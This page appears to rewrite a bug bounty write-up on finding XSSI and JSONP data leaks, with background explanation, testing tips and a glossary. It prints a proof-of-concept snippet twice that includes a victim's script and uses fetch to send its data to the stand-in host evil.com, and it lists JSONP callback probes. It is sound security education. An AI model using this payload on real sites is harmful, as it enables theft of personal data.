Effortlessly finding Cross Site Script Inclusion (XSSI) & JSONP for bug bounty
A JavaScript file containing sensitive personal data was served without requiring special headers, allowing an attacker to include it via a script tag on a malicious page and read the data. The attacker could then exfiltrate the information to their own server.
Published on medium.com
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a short methodology note about Cross Site Script Inclusion (XSSI) and JSONP, written after the author reported a duplicate XSSI bug on a private bug bounty program. The author reported a duplicate XSSI bug on a private program; the original reporter was paid $300, later updated to $800 on 13 Feb 2020. The author does not name the program or the target, so the only concrete target used in the examples below is the placeholder target.com.
The feature at the centre of the finding is an insurance signup flow. After a user signs up for an insurance policy, the site serves a JavaScript file that contains the information the user entered during signup. That file is the asset that gets leaked.
XSSI is the class of bug where a script file that contains sensitive data can be included from another origin with a <script> tag, and the data inside it can then be read by the including page. JSONP is the related case where an endpoint wraps its JSON response in a callback function name supplied by the caller, which makes the response executable as script.
Setup
The author does not describe any account setup, roles or tool versions. The only tool named is Burp Suite, used to spider the site and to filter the captured traffic. The precondition for the attack is that the sensitive JavaScript file can be fetched with a plain HTTP GET and without CORS-triggering headers, unless a separate CORS issue is also found.
Finding it
The workflow starts with spidering the website, both manually and with automated tooling. The results are then filtered in Burp Suite by MIME type, and the author skims the responses of type script looking for sensitive information.
The screenshot shows the Burp Suite view with responses filtered by MIME type.
That filter surfaced a JS file containing everything the author had filled in when signing up for an insurance policy: SSN, limited medical history, visa info, name, phone number, DOB, address and so on.
The next check is on the HTTP GET request for that JS file. The author inspects it to confirm that it does not require CORS-triggering headers such as:
AuthorizationX-API-KEYX-CSRF-TOKENX-whatever
If the request does require such headers, the attack fails, unless a separate CORS issue is also found. In this case no special headers were needed, which is what made the file includable from an arbitrary page.
Exploitation
Step 1: include the sensitive script from an attacker page
Because the JS file is served without requiring special headers, it can be included on a web page with a script tag and that page can be sent to any server, leaking the PII inside the file. The proof of concept is:
<script src="https://target.com/vuln.js"></script><script defer>// var_name is a variable in vuln.js holding sensitive informationconsole.log(var_name);// sending information to an attacker controlled serverfetch("https://evil.com/stealInfo?info="+var_name);</script>
The first script tag loads the victim's sensitive JS file from the target origin. The second script reads the variable var_name that holds the sensitive information inside vuln.js, logs it, and then sends it to an attacker-controlled server with fetch.
Step 2: look for JSONP callbacks
The same approach is used to find JSONP callbacks: append parameters such as callback=some_function or jsonp=blah to all paths that return sensitive information.
Root cause
The sensitive data is placed in a JavaScript file that is served as a script and can be fetched cross-origin with a plain GET, with no header that would force a CORS preflight or otherwise block the inclusion. A <script> tag can load the file cross-origin, and the variables it defines are then available to the including page. For JSONP, the endpoint additionally reflects a caller-supplied callback name into the response, turning the JSON into executable script.
Impact
An attacker who can get a victim to load a page containing the script tag can read the data held in the JS file and exfiltrate it to a server they control. In this case that data included SSN, limited medical history, visa info, name, phone number, DOB and address. The attack only works when the file can be fetched without CORS-triggering headers; if such headers are required, it fails unless a separate CORS issue exists.
Fix
The report does not describe any fix that was applied.
Variants to test
- Filter spidered responses by MIME type
scriptand read the ones that look like they carry user data. A positive result is a JS file containing PII or other sensitive values. - Check the GET request for that file for CORS-triggering headers such as
Authorization,X-API-KEY,X-CSRF-TOKENorX-whatever. A positive result is a file that loads with none of them. - Append
callback=some_functionorjsonp=blahto paths that return sensitive information. A positive result is a response wrapped in the supplied callback name. - Try multiple parameters to trigger JSONP. For example:
http://target.com?callback=test
returns no JSONP, while:
http://target.com?type=jsonp&callback=test
returns JSONP.
- Check the
Content-TypeandX-Content-Type-Optionsheaders. If the response hasContent-Type: application/jsonbut the body is JSONP or JavaScript, andX-Content-Type-Options: nosniffis not in the response, the exploit still works. - Try different callback parameter names on different endpoints of the same site. For example:
https://target.com/profile_info?callback=test
returns no JSONP, while:
https://target.com/profile_info?jsonp=test
returns JSONP. On a different path on the same site:
https://target.com/account_info?jsonp=test
returns no JSONP, while:
https://target.com/account_info?jsoncallback=test
returns JSONP.

The cheat sheet image summarises the methodology above.
What happened, in plain words
A security researcher found a bug on a private bug bounty program. The bug was a Cross Site Script Inclusion (XSSI) issue. He reported it, but it was a duplicate of an existing report. The original reporter was paid $300, later updated to $800 on 13 Feb 2020. The author does not name the program or the target, so all examples use the placeholder target.com.
The bug was in an insurance signup feature. After a user signed up for an insurance policy, the site served a JavaScript file that contained all the information the user had entered: Social Security Number (SSN), limited medical history, visa info, name, phone number, date of birth (DOB), address, and more. Because the file needed no special headers, it could be included with a <script> tag and the data read. That is what XSSI means: a script file with sensitive data can be loaded from another site, and the data can be stolen.
The author wrote this short guide to share the method he uses to find such bugs, and also JSONP issues, which are closely related.

Background: what are XSSI and JSONP?
Before diving into the method, let's explain the two bug types in simple terms.
XSSI (Cross Site Script Inclusion) happens when a website serves a JavaScript file that contains private information, and that file can be loaded from any other website using a <script> tag. Browsers allow <script> tags to load code from other domains (this is how many websites include libraries from content delivery networks). If the file contains data, not just code, then the including page can read that data. The website's protection (the same-origin policy) normally stops one site from reading another site's data, but <script> tags are an exception: they can load and execute code from anywhere. So if the data is inside a script file, it can be read.
JSONP (JSON with Padding) is a technique used to get around the same-origin policy for data. A server that supports JSONP takes a callback name from the query string and wraps its JSON response in a function call with that name. For example, if you request ?callback=myFunction, the server responds with myFunction({...data...}). When a <script> tag loads that response, the browser executes the function call, and the data is passed to the function. If the endpoint returns sensitive data and reflects any callback name, an attacker can define their own function to capture the data.
Both bugs rely on the fact that <script> tags can load resources from other origins without restriction.
The method
The author starts by spidering the website, both manually and with automated tools. Spidering means exploring the site to discover all its pages and requests. Then he filters the results in Burp Suite by MIME type. MIME type is a label that tells the browser what kind of content a response contains, such as text/html for web pages, application/json for data, or script for JavaScript. He looks at responses of type script because those are the ones that could contain sensitive data in a form that can be included cross-origin.
In the screenshot, Burp Suite is showing a filtered view of responses by MIME type. This helps narrow down the list to only JavaScript files.
While skimming those script responses, he found a JavaScript file that contained everything he had filled in when signing up for an insurance policy: SSN, limited medical history, visa info, name, phone number, DOB, address, and so on. That is a serious leak of personally identifiable information (PII).
Next, he checks the HTTP GET request that fetches that JavaScript file. He wants to make sure the request does not require any special headers that would trigger CORS (Cross-Origin Resource Sharing) checks. CORS is a mechanism that lets a server control which other origins can read its responses. If the file requires headers like Authorization or X-API-KEY, a simple <script> tag cannot load it, and the attack fails. If the server does not allow the origin, the request fails. So if the JavaScript file requires such headers, a simple <script> tag cannot load it, and the attack fails, unless there is also a separate CORS misconfiguration that allows the attacker's origin.
In this case, the GET request for the file did not need any special headers. That means the file can be loaded by any website with a simple <script> tag. The author then created a proof of concept (PoC) to demonstrate the leak:
<script src="https://target.com/vuln.js"></script><script defer>// var_name is a variable in vuln.js holding sensitive informationconsole.log(var_name);// sending information to an attacker controlled serverfetch("https://evil.com/stealInfo?info="+var_name);</script>
Let's break down this code line by line:
<script src="https://target.com/vuln.js"></script>: This loads the vulnerable JavaScript file from the target site. The browser fetches it and executes it. The file defines a variable (here calledvar_name) that holds the sensitive information.<script defer>: This starts a second script block. Thedeferattribute delays execution of this script block.// var_name is a variable in vuln.js holding sensitive information: This is a comment explaining thatvar_nameis the variable containing the sensitive data.console.log(var_name);: This prints the value ofvar_nameto the browser's console.fetch("https://evil.com/stealInfo?info="+var_name);: This sends the stolen data to an attacker-controlled server atevil.com. Thefetchfunction makes an HTTP request to that URL, appending the value ofvar_nameas a query parameter. The request carries the value ofvar_nameto the attacker-controlled server.
So when a victim visits a page containing this code, their browser loads the sensitive JavaScript from the target site, reads the variable, and sends it to the attacker. The attacker can then collect the data.
The same technique can be used to find JSONP endpoints. The author suggests appending parameters like callback=some_function or jsonp=blah to all paths that return sensitive information. If the server responds with JSONP, the data will be wrapped in the callback function, and the attacker can define that function to capture the data.
Important notes
The author shares several tips that are important when testing for these bugs:
- Sometimes you need multiple parameters to trigger a JSONP response. For example:
http://target.com?callback=test
returns no JSONP, but:
http://target.com?type=jsonp&callback=test
returns JSONP. In this example, the extra type=jsonp parameter is needed alongside the callback parameter to get a JSONP response.
-
If the response has
Content-Type: application/jsonbut the body actually contains JSONP or JavaScript, and theX-Content-Type-Options: nosniffheader is not present, the exploit still works. TheContent-Typeheader tells the browser what type of content it is. The report notes that withoutX-Content-Type-Options: nosniff, the exploit still works even when the response is labelledapplication/json. So even if the server claims the content is JSON, the browser might treat it as JavaScript and execute it, allowing the attack. -
Different callback parameter names might work on different endpoints, even on the same website. For example:
https://target.com/profile_info?callback=test
returns no JSONP, but:
https://target.com/profile_info?jsonp=test
returns JSONP. On a different path on the same site:
https://target.com/account_info?jsonp=test
returns no JSONP, but:
https://target.com/account_info?jsoncallback=test
returns JSONP. This shows that you need to try various parameter names on each endpoint, because the server might accept different ones in different places.

The cheat sheet image summarises the methodology described above.
Glossary
- XSSI (Cross Site Script Inclusion): A vulnerability where a script file containing sensitive data can be included from another origin and the data read by the including page.
- JSONP (JSON with Padding): A technique to bypass the same-origin policy by wrapping JSON data in a callback function call, allowing cross-origin data retrieval.
- Bug bounty program: A program where organisations reward security researchers for finding and reporting vulnerabilities.
- Duplicate: A bug report that describes an issue already reported by someone else.
- PII (Personally Identifiable Information): Information that can be used to identify a specific person, such as name, address, SSN, etc.
- SSN (Social Security Number): A unique identification number used in the United States.
- DOB (Date of Birth): The date a person was born.
- JavaScript: A programming language used to make web pages interactive; it runs in the browser.
<script>tag: An HTML tag used to include and execute JavaScript code from a file or inline.- Same-origin policy: A browser security measure that prevents scripts from one origin (domain, protocol, port) from reading data from another origin.
- CORS (Cross-Origin Resource Sharing): A mechanism that allows a server to specify which origins are permitted to read its resources.
- Preflight request: An OPTIONS request sent by the browser before certain cross-origin requests to check if the server allows them.
- HTTP GET request: A method used to request data from a server.
- Header: Additional information sent with an HTTP request or response, such as
Content-TypeorAuthorization. - MIME type: A label that indicates the type of content, like
text/htmlorapplication/json. - Burp Suite: A tool used for web security testing, including intercepting and modifying HTTP traffic.
- Spidering: Automatically crawling a website to discover its pages and endpoints.
- Proof of Concept (PoC): A demonstration that a vulnerability can be exploited.
fetch: A JavaScript function for making HTTP requests.console.log: A JavaScript function that prints messages to the browser's console.deferattribute: An attribute on a<script>tag that delays execution until after the document has been parsed.Content-Typeheader: Tells the browser the MIME type of the response body.X-Content-Type-Options: nosniff: A security header that prevents the browser from MIME-sniffing a response away from the declared content type.- Callback parameter: A query parameter used in JSONP to specify the name of the function to wrap the response in.
- Endpoint: A specific URL path on a server that provides a function or data.
- Query parameter: The part of a URL after the
?that passes data to the server, like?callback=test.